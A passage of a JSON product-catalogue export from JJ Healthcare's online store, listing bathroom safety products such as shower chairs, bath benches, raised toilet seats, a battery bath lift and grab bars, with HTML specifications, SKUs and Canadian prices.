{"title":"Bathroom Safety","description":"\u003cp data-start=\"67\" data-end=\"112\" class=\"\"\u003e\u003cstrong data-start=\"67\" data-end=\"112\"\u003eBathroom Safety Products Online in Canada\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp data-start=\"114\" data-end=\"423\" class=\"\"\u003eJJ Healthcare offers a wide range of high-quality \u003cstrong data-start=\"164\" data-end=\"192\"\u003ebathroom safety products\u003c\/strong\u003e designed to enhance stability, prevent falls, and promote independence. From \u003cstrong data-start=\"270\" data-end=\"283\"\u003egrab bars\u003c\/strong\u003e and \u003cstrong data-start=\"288\" data-end=\"305\"\u003eshower chairs\u003c\/strong\u003e to \u003cstrong data-start=\"309\" data-end=\"332\"\u003eraised toilet seats\u003c\/strong\u003e and \u003cstrong data-start=\"337\" data-end=\"354\"\u003enon-slip mats\u003c\/strong\u003e, our solutions are crafted for durability, comfort, and ease of use.\u003c\/p\u003e\n\u003cp data-start=\"425\" data-end=\"731\" class=\"\"\u003eWith options for every mobility level, our products combine ergonomic design, secure materials, and simple installation. Backed by expert guidance and after-sales support, JJ Healthcare helps you create a safer, more accessible bathroom environment. Shop online today for reliable safety and peace of mind.\u003c\/p\u003e","products":[{"product_id":"shower-chair-tbb7963l","title":"Portable Bath Shower Chair Height Adjustable Shower Stool Non-Slip Shower Bench For Elderly Disabled, Handicapped \u0026 Injured","description":"\u003cp\u003e \u003c\/p\u003e\n\u003cp\u003e1.Aluminum foldable frame\u003cbr data-mce-fragment=\"1\"\u003e2.ABS seat with draining holes\u003cbr data-mce-fragment=\"1\"\u003e3.Ergonomic design stool\u003cbr data-mce-fragment=\"1\"\u003e4.Durable anti-slip rubber on the bottom\u003c\/p\u003e\n\u003cp\u003e \u003c\/p\u003e\n\u003cp\u003e\u003cstrong\u003eSpecifications (CM)\u003c\/strong\u003e\u003cbr\u003eOverall Length: 43\u003cbr\u003eSeat Width: 50\u003cbr\u003eSeat Height: 44-47.5\u003cbr\u003eOverall height: 47-50.5\u003cbr\u003eSeat Depth: 30\u003cbr\u003eBack Height -\u003cbr\u003eMeasurement: 50X10X39\u003cbr\u003eNW (kg): 2.4\u003cbr\u003ePCS\/CN: 1\u003cbr\u003eGW (kg): 2.7\u003cbr\u003e\u003c\/p\u003e","brand":"jjhealthcareproducts","offers":[{"title":"Default Title","offer_id":41775918219436,"sku":"TBB7963L","price":65.0,"currency_code":"CAD","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0621\/8907\/6652\/products\/TBB7963L.jpg?v=1657104270"},{"product_id":"height-adjustable-shower-chair","title":"High Quality - Lightweight Shower Bath Chair For Seniors Anti Slip Back Support Portable Bath Seat For Elderly Disable Handicapped \u0026 Injured People - Adjustable Height Mobility Aid","description":"\u003cp data-mce-fragment=\"1\"\u003e\u003cspan data-mce-fragment=\"1\"\u003e1.Aluminum frame\u003c\/span\u003e\u003c\/p\u003e\n\u003cp data-mce-fragment=\"1\"\u003e\u003cspan data-mce-fragment=\"1\"\u003e2.ABS anti-slip seat\u003c\/span\u003e\u003c\/p\u003e\n\u003cp data-mce-fragment=\"1\"\u003e\u003cspan data-mce-fragment=\"1\"\u003e3.Seat with draining holes\u003c\/span\u003e\u003c\/p\u003e\n\u003cp data-mce-fragment=\"1\"\u003e\u003cspan data-mce-fragment=\"1\"\u003e4.Foam surface armrest\u003c\/span\u003e\u003c\/p\u003e\n\u003cp data-mce-fragment=\"1\"\u003e\u003cspan data-mce-fragment=\"1\"\u003e5.Adjustable seat height\u003c\/span\u003e\u003c\/p\u003e\n\u003cp data-mce-fragment=\"1\"\u003e\u003cspan data-mce-fragment=\"1\"\u003e6.With strong anti-slip rubber pad\u003c\/span\u003e\u003c\/p\u003e\n\u003cp data-mce-fragment=\"1\"\u003e \u003c\/p\u003e\n\u003ctable class=\"table table-bordered table-hover table-striped table-responsive\" height=\"244\" width=\"143\"\u003e\n\u003ctbody\u003e\n\u003ctr class=\"firstRow\" height=\"34\"\u003e\n\u003ctd width=\"163\" height=\"25\" colspan=\"2\" class=\"et5\" x:str=\"\"\u003e\u003cstrong\u003e\u003cspan\u003eSpecifications(CM)\u003c\/span\u003e\u003c\/strong\u003e\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr height=\"21\"\u003e\n\u003ctd width=\"81\" height=\"15\" class=\"et6\" x:str=\"\"\u003e\u003cspan\u003eOverall Length\u003c\/span\u003e\u003c\/td\u003e\n\u003ctd width=\"61\" height=\"15\" class=\"et6\" x:num=\"51\"\u003e\u003cspan\u003e51\u003c\/span\u003e\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr height=\"21\"\u003e\n\u003ctd width=\"81\" height=\"15\" class=\"et6\" x:str=\"\"\u003e\u003cspan\u003eSeat Width\u003c\/span\u003e\u003c\/td\u003e\n\u003ctd width=\"61\" height=\"15\" class=\"et6\" x:num=\"53\"\u003e\u003cspan\u003e53\u003c\/span\u003e\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr height=\"21\"\u003e\n\u003ctd width=\"81\" height=\"15\" class=\"et6\" x:str=\"\"\u003e\u003cspan\u003eSeat Height\u003c\/span\u003e\u003c\/td\u003e\n\u003ctd width=\"61\" height=\"15\" class=\"et6\" x:str=\"\"\u003e\u003cspan\u003e41-54\u003c\/span\u003e\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr height=\"21\"\u003e\n\u003ctd width=\"81\" height=\"15\" class=\"et6\" x:str=\"\"\u003e\u003cspan\u003eOverall height\u003c\/span\u003e\u003c\/td\u003e\n\u003ctd width=\"61\" height=\"15\" class=\"et6\" x:str=\"\"\u003e\u003cspan\u003e72-85\u003c\/span\u003e\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr height=\"21\"\u003e\n\u003ctd width=\"81\" height=\"15\" class=\"et6\" x:str=\"\"\u003e\u003cspan\u003eSeat Depth\u003c\/span\u003e\u003c\/td\u003e\n\u003ctd width=\"61\" height=\"15\" class=\"et6\" x:str=\"\"\u003e\u003cspan\u003e37-40\u003c\/span\u003e\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr height=\"21\"\u003e\n\u003ctd width=\"81\" height=\"15\" class=\"et6\" x:str=\"\"\u003e\u003cspan\u003eBack Height\u003c\/span\u003e\u003c\/td\u003e\n\u003ctd width=\"61\" height=\"15\" class=\"et6\" x:num=\"35\"\u003e\u003cspan\u003e35\u003c\/span\u003e\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr height=\"21\"\u003e\n\u003ctd width=\"81\" height=\"15\" class=\"et6\" x:str=\"\"\u003eMeasurement\u003cbr\u003e\n\u003c\/td\u003e\n\u003ctd width=\"61\" height=\"15\" class=\"et6\" x:str=\"\"\u003e\u003cspan\u003e56X52X45\u003c\/span\u003e\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr height=\"21\"\u003e\n\u003ctd width=\"81\" height=\"15\" class=\"et6\" x:str=\"\"\u003e\u003cspan\u003eNW(kg)\u003c\/span\u003e\u003c\/td\u003e\n\u003ctd width=\"61\" height=\"15\" class=\"et6\" x:num=\"7.6\"\u003e\u003cspan\u003e7.6\u003c\/span\u003e\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr height=\"21\"\u003e\n\u003ctd width=\"81\" height=\"15\" class=\"et6\" x:str=\"\"\u003e\u003cspan\u003ePCS\/CN\u003c\/span\u003e\u003c\/td\u003e\n\u003ctd width=\"61\" height=\"15\" class=\"et6\" x:num=\"2\"\u003e\u003cspan\u003e2\u003c\/span\u003e\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr height=\"21\"\u003e\n\u003ctd width=\"81\" height=\"15\" class=\"et6\" x:str=\"\"\u003e\u003cspan\u003eGW(kg)\u003c\/span\u003e\u003c\/td\u003e\n\u003ctd width=\"61\" height=\"15\" class=\"et6\" x:num=\"8.2\"\u003e\u003cspan\u003e8.2\u003c\/span\u003e\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003c\/tbody\u003e\n\u003c\/table\u003e","brand":"jjhealthcareproducts","offers":[{"title":"Default Title","offer_id":41792391413932,"sku":"TBB7985L","price":130.0,"currency_code":"CAD","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0621\/8907\/6652\/products\/TBB7985L2_Small_6030adc1-4fa4-4576-a7f6-aad3ac33092a.webp?v=1680086722"},{"product_id":"ezee-life-bath-seat-ch1050q","title":"Ezee Life Bath Seat (CH1050Q)","description":"\u003ch3\u003eFeatures\u003c\/h3\u003e\n\u003cul\u003e\n\u003cli\u003eShipped Fully Assembled\u003c\/li\u003e\n\u003cli\u003eBlow molded bench seat provides comfort and strength\u003c\/li\u003e\n\u003cli\u003eStainless steel hardware and brass inserts\u003c\/li\u003e\n\u003cli\u003eDrainage holes in seat to allow drainage and reduce slipping\u003c\/li\u003e\n\u003cli\u003eAluminum frame is lightweight, durable and corrosion proof\u003c\/li\u003e\n\u003cli\u003eAngled legs with suction style tips provide additional stability\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003ch3\u003eSpecifications\u003c\/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSeat Height: 14” to 20”\u003c\/li\u003e\n\u003cli\u003eSeat width: 20”\u003c\/li\u003e\n\u003cli\u003eSeat depth: 12”\u003c\/li\u003e\n\u003cli\u003ePadded seat: n\/a\u003c\/li\u003e\n\u003cli\u003eBack Height: n\/a\u003c\/li\u003e\n\u003cli\u003ePadded back: no\u003c\/li\u003e\n\u003cli\u003eWidth between arms: n\/a\u003c\/li\u003e\n\u003cli\u003eArm height n\/a\u003c\/li\u003e\n\u003cli\u003eWidth of legs: 17.25\" to 18.25” (dependent on seat height)\u003c\/li\u003e\n\u003cli\u003eConstruction: Aluminum frame\/blow moulded seat\u003c\/li\u003e\n\u003cli\u003eWeight capacity: 300 lbs\u003c\/li\u003e\n\u003cli\u003eProduct weight: 4.5 lbs\u003c\/li\u003e\n\u003c\/ul\u003e","brand":"jjhealthcareproducts","offers":[{"title":"Default Title","offer_id":42593858420908,"sku":"CH1050Q","price":65.0,"currency_code":"CAD","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0621\/8907\/6652\/files\/ch1050-h750_1.jpg?v=1685692041"},{"product_id":"ezee-life-tool-free-bath-bench-ch1050tf","title":"Ezee Life Tool Free Bath Bench (CH1050TF)","description":"\u003ch3\u003eFeatures\u003c\/h3\u003e\n\u003cul\u003e\n\u003cli\u003eTool free assembly\u003c\/li\u003e\n\u003cli\u003eEasy tool-free assembly\u003c\/li\u003e\n\u003cli\u003eBlow molded seat provides comfort and strength\u003c\/li\u003e\n\u003cli\u003eStainless steel hardware and brass inserts\u003c\/li\u003e\n\u003cli\u003eDrainage holes in seat allow drainage and reduce slipping\u003c\/li\u003e\n\u003cli\u003eAluminum frame is lightweight, durable and corrosion proof\u003c\/li\u003e\n\u003cli\u003eAngled legs with suction style tips provide additional stability\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003ch3\u003eSpecifications\u003c\/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSeat Height: 14” to 20”\u003c\/li\u003e\n\u003cli\u003eSeat width: 20”\u003c\/li\u003e\n\u003cli\u003eSeat depth: 12”\u003c\/li\u003e\n\u003cli\u003ePadded seat: n\/a\u003c\/li\u003e\n\u003cli\u003eBack Height: n\/a\u003c\/li\u003e\n\u003cli\u003ePadded back: no\u003c\/li\u003e\n\u003cli\u003eWidth between arms: n\/a\u003c\/li\u003e\n\u003cli\u003eArm height n\/a\u003c\/li\u003e\n\u003cli\u003eWidth of legs: 17”\u003c\/li\u003e\n\u003cli\u003eConstruction: Aluminum frame\/blow moulded seat\u003c\/li\u003e\n\u003cli\u003eWeight capacity: 300 lbs\u003c\/li\u003e\n\u003cli\u003eProduct weight: 4.5 lbs\u003c\/li\u003e\n\u003c\/ul\u003e","brand":"jjhealthcareproducts","offers":[{"title":"Default Title","offer_id":42593861140652,"sku":"CH1050TF","price":55.0,"currency_code":"CAD","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0621\/8907\/6652\/files\/ch1050-h750.jpg?v=1685692358"},{"product_id":"ezee-life-bath-seat-ch1060q","title":"Ezee Life Bath Seat (CH1060Q)","description":"\u003ch3\u003eFeatures\u003c\/h3\u003e\n\u003cul\u003e\n\u003cli\u003eShipped fully assembled\u003c\/li\u003e\n\u003cli\u003eBlow molded bench and back provides comfort and strength\u003c\/li\u003e\n\u003cli\u003eStainless steel hardware and brass inserts\u003c\/li\u003e\n\u003cli\u003eDrainage holes in seat and back allow drainage and reduce slipping\u003c\/li\u003e\n\u003cli\u003eAluminum frame is lightweight, durable and corrosion proof\u003c\/li\u003e\n\u003cli\u003eAngled legs with suction style tips provide additional stability\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003ch3\u003eSpecifications\u003c\/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSeat Height: 14” to 20”\u003c\/li\u003e\n\u003cli\u003eSeat width: 20”\u003c\/li\u003e\n\u003cli\u003eSeat depth: 13”\u003c\/li\u003e\n\u003cli\u003ePadded seat: no\u003c\/li\u003e\n\u003cli\u003ePadded back: no\u003c\/li\u003e\n\u003cli\u003eWidth between arms: n\/a\u003c\/li\u003e\n\u003cli\u003eArm height n\/a\u003c\/li\u003e\n\u003cli\u003eWidth of legs: 17.25\" to 18.25” (dependent on seat height)\u003c\/li\u003e\n\u003cli\u003eConstruction: Aluminum frame\/blow moulded seat\u003c\/li\u003e\n\u003cli\u003eWeight capacity: 300 lbs\u003c\/li\u003e\n\u003cli\u003eProduct weight: 6 lbs\u003c\/li\u003e\n\u003c\/ul\u003e","brand":"jjhealthcareproducts","offers":[{"title":"Default Title","offer_id":42593861533868,"sku":"CH1060Q","price":95.0,"currency_code":"CAD","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0621\/8907\/6652\/files\/ch1060-h750_1.jpg?v=1685692515"},{"product_id":"ezee-life-tool-free-bath-bench-with-back-ch1060tf","title":"Ezee Life Tool Free Bath Bench with Back (CH1060TF)","description":"\u003ch3\u003eFeatures\u003c\/h3\u003e\n\u003cul\u003e\n\u003cli\u003eTool free assembly\u003c\/li\u003e\n\u003cli\u003eEasy tool-free assembly seat and legs\u003c\/li\u003e\n\u003cli\u003eBlow molded bench and back provides comfort and strength\u003c\/li\u003e\n\u003cli\u003eStainless steel hardware and brass inserts\u003c\/li\u003e\n\u003cli\u003eDrainage holes in seat and back allow drainage and reduce slipping\u003c\/li\u003e\n\u003cli\u003eAluminum frame is lightweight, durable and corrosion proof\u003c\/li\u003e\n\u003cli\u003eAngled legs with suction style tips provide additional stability\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003ch3\u003eSpecifications\u003c\/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSeat Height: 14” to 20”\u003c\/li\u003e\n\u003cli\u003eSeat width: 20”\u003c\/li\u003e\n\u003cli\u003eSeat depth: 13”\u003c\/li\u003e\n\u003cli\u003ePadded seat: no\u003c\/li\u003e\n\u003cli\u003ePadded back: no\u003c\/li\u003e\n\u003cli\u003eWidth between arms: n\/a\u003c\/li\u003e\n\u003cli\u003eArm height n\/a\u003c\/li\u003e\n\u003cli\u003eWidth of legs: 17”\u003c\/li\u003e\n\u003cli\u003eConstruction: Aluminum frame\/blow moulded seat\u003c\/li\u003e\n\u003cli\u003eWeight capacity: 300 lbs\u003c\/li\u003e\n\u003cli\u003eProduct weight: 6 lbs\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003ch3\u003e\u003c\/h3\u003e","brand":"jjhealthcareproducts","offers":[{"title":"Default Title","offer_id":42593861730476,"sku":"CH1060TF","price":95.0,"currency_code":"CAD","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0621\/8907\/6652\/files\/ch1060-h750.jpg?v=1685692622"},{"product_id":"ezee-life-bath-seat-ch1062","title":"Ezee Life Bath Seat (CH1062)","description":"\u003ch3\u003eFeatures\u003c\/h3\u003e\n\u003cul\u003e\n\u003cli\u003eShipped fully assembled and ready for use\u003c\/li\u003e\n\u003cli\u003eBlow moulded bench and back provides comfort and strength\u003c\/li\u003e\n\u003cli\u003eStainless steel hardware and brass inserts\u003c\/li\u003e\n\u003cli\u003eDrainage holes in seat and back reduce slipping\u003c\/li\u003e\n\u003cli\u003eAluminum frame is lightweight, durable and corrosion proof\u003c\/li\u003e\n\u003cli\u003eAngled legs with suction style tips provide additional stability\u003c\/li\u003e\n\u003cli\u003eArm supports assist with transfers and balance while bathing\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003ch3\u003e\u003cbr\u003e\u003c\/h3\u003e\n\u003ch3\u003eSpecifications\u003c\/h3\u003e\n\u003cul\u003e\n\u003cli\u003eWeight capacity: 300 lbs\u003c\/li\u003e\n\u003cli\u003eColour: White\u003c\/li\u003e\n\u003cli\u003eSeat Height: 16\"  20\"\u003c\/li\u003e\n\u003cli\u003eSeat Depth: 13\"\u003c\/li\u003e\n\u003cli\u003eTotal Seat Depth: 17\" (Front of seat to backrest)\u003c\/li\u003e\n\u003cli\u003eSeat Width: 16\"\u003c\/li\u003e\n\u003cli\u003eWidth between the arms 18¼\"\u003c\/li\u003e\n\u003cli\u003eBack Height: 12¼\"\u003c\/li\u003e\n\u003cli\u003eOverall Width: 21\"\u003c\/li\u003e\n\u003cli\u003eOverall Depth: 17½\" to 19\"\u003c\/li\u003e\n\u003cli\u003eOverall Height: 28¼\" to 32¼\"\u003c\/li\u003e\n\u003cli\u003eWeight: 6½ lb\u003c\/li\u003e\n\u003cli\u003eBox weight: 7.6 lb.\u003c\/li\u003e\n\u003cli\u003eBox Height: 17\"\u003c\/li\u003e\n\u003cli\u003eBox Depth: 5\"\u003c\/li\u003e\n\u003cli\u003eBox Length: 24\"\u003c\/li\u003e\n\u003c\/ul\u003e","brand":"jjhealthcareproducts","offers":[{"title":"Default Title","offer_id":42593861992620,"sku":"CH1062","price":130.0,"currency_code":"CAD","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0621\/8907\/6652\/files\/ch1062-750_254313fb-e418-4060-9043-7e63b3a002a8.jpg?v=1685692697"},{"product_id":"2-raised-toilet-seat-ch2024","title":"2\" Raised Toilet Seat (CH2024)","description":"\u003cdiv class=\"product-info-main\"\u003e\n\u003cdiv class=\"product attribute overview\"\u003e\n\u003cdiv class=\"value\" itemprop=\"description\"\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003ch3\u003eFeatures\u003c\/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePadded flip back arms\u003c\/li\u003e\n\u003cli\u003eMolded plastic construction\u003c\/li\u003e\n\u003cli\u003eGently contoured surface for comfort\u003c\/li\u003e\n\u003cli\u003eStain and odour resistant\u003c\/li\u003e\n\u003cli\u003eLocks securely onto toilet\u003c\/li\u003e\n\u003cli\u003eStrong and durable design\u003c\/li\u003e\n\u003cli\u003eNo tools required for installation\u003c\/li\u003e\n\u003cli\u003ePadded Flip Back Removable Arms\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003ch3\u003eSpecifications\u003c\/h3\u003e\n\u003cul\u003e\n\u003cli\u003eElevates Toilet Seat Height 2\"\u003c\/li\u003e\n\u003cli\u003eSingle knob locking mechanism\u003c\/li\u003e\n\u003cli\u003eFully sealed and easy to clean\u003c\/li\u003e\n\u003cli\u003eWorm screw locking mechanism\u003c\/li\u003e\n\u003cli\u003eConstruction: Plastic Moulded\u003c\/li\u003e\n\u003cli\u003eDistance between arm rest (Back): 17.5\"\u003c\/li\u003e\n\u003cli\u003eDistance between arm rest (Front): 18\"\u003c\/li\u003e\n\u003cli\u003eWeight capacity: 220 lbs\u003c\/li\u003e\n\u003cli\u003eProduct weight: 7 lbs\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003cp\u003e \u003c\/p\u003e\n\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003c\/div\u003e\n\u003c\/div\u003e\n\u003c\/div\u003e","brand":"jjhealthcareproducts","offers":[{"title":"Default Title","offer_id":42593899151532,"sku":"CH2024","price":125.0,"currency_code":"CAD","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0621\/8907\/6652\/files\/2024.jpg?v=1685700278"},{"product_id":"ezee-life-2-in-1-locking-elevated-toilet-seat-with-arms-ch2025","title":"Ezee Life 2 in 1 Locking Elevated Toilet Seat with Arms (CH2025)","description":"\u003cdiv class=\"product-info-main\"\u003e\n\u003cdiv class=\"product attribute overview\"\u003e\n\u003cdiv class=\"value\" itemprop=\"description\"\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003ch3\u003eFeatures\u003c\/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePadded arms\u003c\/li\u003e\n\u003cli\u003eHeavy duty molded plastic construction\u003c\/li\u003e\n\u003cli\u003eGently contoured surface for comfort\u003c\/li\u003e\n\u003cli\u003eStain and odour resistant\u003c\/li\u003e\n\u003cli\u003eLocks securely onto toilet\u003c\/li\u003e\n\u003cli\u003eStrong and durable design\u003c\/li\u003e\n\u003cli\u003eNo tools required for installation\u003c\/li\u003e\n\u003cli\u003ePrevents shifting of seat while transferring\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003ch3\u003eSpecifications\u003c\/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSeat Height: 4”\u003c\/li\u003e\n\u003cli\u003eSeat width: 15.5”\u003c\/li\u003e\n\u003cli\u003eSeat depth: 16.5”\u003c\/li\u003e\n\u003cli\u003ePadded seat: no\u003c\/li\u003e\n\u003cli\u003eArm height x length: 5.5\" x 11\"\u003c\/li\u003e\n\u003cli\u003eDistance between arm rest (Back): 14.5\"\u003c\/li\u003e\n\u003cli\u003eDistance between arm rest (Front): 17.75\"\u003c\/li\u003e\n\u003cli\u003eConstruction: Heavy duty moulded plastic\u003c\/li\u003e\n\u003cli\u003eWeight capacity: 220 lbs\u003c\/li\u003e\n\u003cli\u003eProduct weight: 5.7 lbs\u003c\/li\u003e\n\u003cli\u003eWeight in box: 7.7 lbs\u003c\/li\u003e\n\u003cli\u003eBox Dimensions: 18\" x 7.75\" x 20.5\"\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003cp\u003e \u003c\/p\u003e\n\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003c\/div\u003e\n\u003c\/div\u003e\n\u003c\/div\u003e","brand":"jjhealthcareproducts","offers":[{"title":"Default Title","offer_id":42593901412524,"sku":"CH2025","price":81.0,"currency_code":"CAD","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0621\/8907\/6652\/files\/ch2025-h750.jpg?v=1685700608"},{"product_id":"reclining-bath-lift","title":"Reclining Bath Lift","description":"\u003ch3\u003eFeatures\u003c\/h3\u003e\n\u003cul\u003e\n\u003cli\u003eBattery Operated\u003c\/li\u003e\n\u003cli\u003eAuto shut-off to conserve battery charge\u003c\/li\u003e\n\u003cli\u003eCarry Handle\u003c\/li\u003e\n\u003cli\u003eReclining Backrest\u003c\/li\u003e\n\u003cli\u003eWaterproof Controller\u003c\/li\u003e\n\u003cli\u003eSix Suction Cup Feet\u003c\/li\u003e\n\u003cli\u003eEmergency Stop Button\u003c\/li\u003e\n\u003cli\u003e140 kg (308 lb) Capacity\u003c\/li\u003e\n\u003cli\u003e1 Year Warranty\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003ch3\u003eSpecifications\u003c\/h3\u003e\n\u003cul\u003e\n\u003cli\u003eOverall length (with backrest in a reclined position): 985 mm (38.8\")\u003c\/li\u003e\n\u003cli\u003eOverall width (seat incl. side flaps): 725 mm (28.5\")\u003c\/li\u003e\n\u003cli\u003eWidth of seat: 400 mm (15.7\")\u003c\/li\u003e\n\u003cli\u003eDepth of seat: 500 mm (16.7\")\u003c\/li\u003e\n\u003cli\u003eOverall length of seat: 590 mm (23.2\")\u003c\/li\u003e\n\u003cli\u003eSitting height minimum: 80 mm (3.1\")\u003c\/li\u003e\n\u003cli\u003eSitting height maximum: 487 mm (19.2\")\u003c\/li\u003e\n\u003cli\u003eHeight of backrest: 650 mm (25.6\")\u003c\/li\u003e\n\u003cli\u003eWidth of backrest: 350-360 mm (13.8in -14.2in)\u003c\/li\u003e\n\u003cli\u003eBackrest adjustment: 5° to 45°\u003c\/li\u003e\n\u003cli\u003eWidth of base plate: 310 mm (12.2\")\u003c\/li\u003e\n\u003cli\u003eLength of base plate: 612 mm (24.1\")\u003c\/li\u003e\n\u003cli\u003eLoad capacity max: 140 kg (308.6 lb)\u003c\/li\u003e\n\u003cli\u003eTotal weight (excl. hand control): 9.6 kg (21.2 lb)\u003c\/li\u003e\n\u003cli\u003eTotal weight (incl. hand control: 10.1 kg (22.3 lb)\u003c\/li\u003e\n\u003cli\u003eWeight of hand control incl. battery: 0.5 kg (1.1 lb)\u003c\/li\u003e\n\u003cli\u003eWeight of drive unit: 3.6 kg (7.9 lb)\u003c\/li\u003e\n\u003cli\u003eWeight of seat unit: 6.0 kg (13.3 lb)\u003c\/li\u003e\n\u003cli\u003eDuration of lifting\/lowering movement: (105 kg load) Lifting: 90 sec. \/ Lowering: 50 sec.\u003c\/li\u003e\n\u003cli\u003eOperating voltage: 14.8V\u003c\/li\u003e\n\u003cli\u003eStorage battery: Lithium-ion 14.8V\/2.2Ah\u003c\/li\u003e\n\u003cli\u003eAutomatic shutdown: Max. 30min\u003c\/li\u003e\n\u003cli\u003ePower input: 16.8V\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e\n\u003cul\u003e\u003c\/ul\u003e","brand":"jjhealthcareproducts","offers":[{"title":"Default Title","offer_id":42617698713772,"sku":"CH2100","price":1231.0,"currency_code":"CAD","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0621\/8907\/6652\/files\/ch2100-ac-ez-2000.jpg?v=1687417212"},{"product_id":"copy-of-reclining-bath-lift","title":"Ezee Life Chrome, Knurled Grab Bar (CH2010 - CH2014)","description":"\u003ch3\u003eFeatures\u003c\/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDurable, chrome-plated steel\u003c\/li\u003e\n\u003cli\u003eEasy to clean\u003c\/li\u003e\n\u003cli\u003eNo-slip grip\u003c\/li\u003e\n\u003cli\u003eMounts vertically or horizontally\u003c\/li\u003e\n\u003cli\u003e11\/2” between wall and gripping area\u003c\/li\u003e\n\u003cli\u003eRotating Flange to enable easy stud alignment\u003c\/li\u003e\n\u003c\/ul\u003e\n\u003ch3\u003eDimensions and Specs:\u003c\/h3\u003e\n\u003cul\u003e\n\u003cli\u003eLengths available: 12” \/ 16” \/ 18” \/ 24” \/ 32”\u003c\/li\u003e\n\u003cli\u003e\n\u003ctable style=\"width: 311px;\" height=\"153\" cellspacing=\"0\" cellpadding=\"2\" data-mce-style=\"width: 311.413px;\"\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"width: 94.7125px;\" data-mce-style=\"width: 65px;\"\u003eModel #\u003c\/td\u003e\n\u003ctd style=\"width: 252.287px;\" data-mce-style=\"width: 282px;\"\u003eLength\u003c\/td\u003e\n\u003ctd style=\"width: 10px;\" data-mce-style=\"width: 10px;\"\u003e\u003c\/td\u003e\n\u003ctd style=\"width: 10px;\" data-mce-style=\"width: 10px;\"\u003e\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"width: 94.7125px;\" data-mce-style=\"width: 65px;\"\u003eCH2010\u003c\/td\u003e\n\u003ctd style=\"width: 252.287px;\" data-mce-style=\"width: 282px;\"\u003e12\"\u003c\/td\u003e\n\u003ctd style=\"width: 10px;\" align=\"right\" data-mce-style=\"width: 10px;\"\u003e\u003c\/td\u003e\n\u003ctd style=\"width: 10px;\" data-mce-style=\"width: 10px;\"\u003e\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"width: 94.7125px;\" data-mce-style=\"width: 65px;\"\u003eCH2011\u003c\/td\u003e\n\u003ctd style=\"width: 252.287px;\" data-mce-style=\"width: 282px;\"\u003e16\"\u003c\/td\u003e\n\u003ctd style=\"width: 10px;\" align=\"right\" data-mce-style=\"width: 10px;\"\u003e\u003cbr\u003e\u003c\/td\u003e\n\u003ctd style=\"width: 10px;\" data-mce-style=\"width: 10px;\"\u003e\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"width: 94.7125px;\" data-mce-style=\"width: 65px;\"\u003eCH2012\u003c\/td\u003e\n\u003ctd style=\"width: 252.287px;\" data-mce-style=\"width: 282px;\"\u003e18\"\u003c\/td\u003e\n\u003ctd style=\"width: 10px;\" align=\"right\" data-mce-style=\"width: 10px;\"\u003e\u003c\/td\u003e\n\u003ctd style=\"width: 10px;\" data-mce-style=\"width: 10px;\"\u003e\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"width: 94.7125px;\" data-mce-style=\"width: 65px;\"\u003eCH2013\u003c\/td\u003e\n\u003ctd style=\"width: 252.287px;\" data-mce-style=\"width: 282px;\"\u003e24\"\u003c\/td\u003e\n\u003ctd style=\"width: 10px;\" align=\"right\" data-mce-style=\"width: 10px;\"\u003e\u003c\/td\u003e\n\u003ctd 